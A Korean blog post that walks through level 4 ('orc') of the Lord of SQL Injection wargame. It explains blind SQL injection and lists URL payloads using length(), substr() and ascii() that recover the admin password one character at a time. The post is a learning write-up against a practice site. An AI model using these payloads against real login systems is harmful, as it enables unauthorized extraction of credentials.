일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 자바스크립트 jQuery
- GIT
- 자바스크립트 객체
- 카카오프로젝트100
- 보안뉴스요약
- Oracle SQL
- 자바스크립트 element api
- 보안뉴스한줄요약
- 오라클
- 깃허브
- 자바스크립트 API
- php
- 다크웹
- oracle db
- python
- 카카오프로젝트
- 파이썬
- 카카오프로젝트 100
- javascript
- 랜섬웨어
- 보안뉴스
- oracle
- numpy
- 보안뉴스 한줄요약
- 보안뉴스 요약
- 자바스크립트 prototype
- ES6
- 자바스크립트 node
- 자바스크립트
- 자바스크립트 기본 문법
- Today
- Total
FU11M00N
Lord Of Injection orc(4)단계 본문
4단계 orc의 코드이다. 쿼리문에는 id=admin이들어가고 pw를 맞춰야할거같다!
이번에 금지된것은 prob, _(언더바), ( ) 이다
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
쿼리문을 살펴보면 id는 admin으로 박혀져있고 pw를 우리가 알아야할거같은 구문이다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이 문법은 입력한 pw의 값과 데이터베이스 안에 있는 pw의 값이 같아야 한다는것입니다!
정확한 비밀번호의 값을 알아야합니다
이러한 경우는 Blind Injection 공격을 해야합니다 장님공격이라고도 부릅니다!
Blind injection 공격은 서버의 참과 거짓 반응을 이용해 공격하는것인데,
쉽게말해 하나하나 계속 다 넣어봐서 맞을때까지 무차별공격을 하는것입니다!
추후에 블라인드 인젝션 공격에대해 자세히 글을쓰겠습니다..
그럼 우리가 패스워드를 정확히 알아야하기때문에
일단 패스워드의 길이를 알아야합니다..!! 패스워드의 길이를 알아내는 함수는 length() 입니다.
우선 ?pw=1111' or id='admin' and length(pw)=1 %23
?pw=1111' or id='admin' and length(pw)=2 %23
?pw=1111' or id='admin' and length(pw)=3 %23
이런식으로 패스워드가 몇자리인지 알아내야합니다..
이 쿼리문의 동작 원리는 첫번쨰 쿼리문인 id=guest 이 쿼리문을 거짓으로 만들고
뒤에오는 id=admin 쿼리문을 참으로 되도록 계속찍어서 서버의 반응을 보는것입니다!
첫 번째 쿼리를 통해 admin의 pw를 알아내고, 두 번째 쿼리를 통해 문제를 푸는것입니다!
?pw=1111' or id='admin' and length(pw)=8 %23 을 하는순간 Hello admin이 나왔습니다!!
그럼 패스워드는 8글자인것으로 알아냈습니다.
그럼 값을알아내는 함수 substur()을 배워봅시다.
substr(값,시작위치,범위) 이것을 이용하면
substr(pw,1,1) 이렇게 사용하면 pw에서 첫번째자리부터 1개
substr(pw,3,1) 이렇게하면 세번째자리부터 1개
한 자리씩 맞는건지 확인하는것입니다.
그리고 아스키코드로 변환해주는 ascii를 사용하여 뭉쳐서
ascii(substr(pw,1,1))=97 이렇게하면 아스키 코드가 97인값 즉 a인지 비교를해줍니다!!
그럼 비교해봅시다!
?pw=' or id='admin' and ascii(substr(pw,1,1)) = 97 %23 이런식으로 하나하나 다해줘야합니다..
하나하나 해주는건 힘드니깐 파이썬으로 코딩을하여 자동화하는것을 만들어야하는데
필자는 아직 파이썬을 배우지않아 한두개까지 수동으로하고
곧 파이썬자동화를 배우면 그때 재업로드 하겠습니다
?pw=' or id='admin' and ascii(substr(pw,1,1)) = 50 %23 을 하게되면
이렇게 첫번째의 문자가 아스키코드값 50 즉 숫자 2 라는걸 알수있습니다!!
그럼 이런식으로 하나하나 다해서
ascii(substr(pw,1,1)) -> 50 2
ascii(substr(pw,2,1)) -> 57 9
ascii(substr(pw,3,1)) -> 53 5
ascii(substr(pw,4,1)) -> 100 d
ascii(substr(pw,5,1)) -> 53 5
ascii(substr(pw,6,1)) -> 56 8
ascii(substr(pw,7,1)) -> 52 4
ascii(substr(pw,8,1)) -> 52 4
pw의 값은 2,9,5,d,5,8,4,4 인걸로 알아냈습니다!! ㅠㅠ...
그럼 이 값을 pw에 넣어주기만 하면됩니다!
이렇게 4단계인 ORC 를 클리어했는데요,
사실 파이썬 코딩만 좀 할줄알면 이렇게 하나하나 할필요가없습니다..
필자는 꼭 파이썬을 공부해서 돌아오도록 하겠습니다!!
'Web Hacking > Lord of injection' 카테고리의 다른 글
Lord Of Injection darkelf(6)단계 (0) | 2019.10.28 |
---|---|
Lord Of Injection wolfman(5)단계 (0) | 2019.10.28 |
Lord Of Injection goblin(3) 단계 (0) | 2019.10.27 |
Lord Of Injection cobolt(2) 단계 (0) | 2019.10.27 |
Lord Of Injection gremlin(1) 단계 (0) | 2019.10.27 |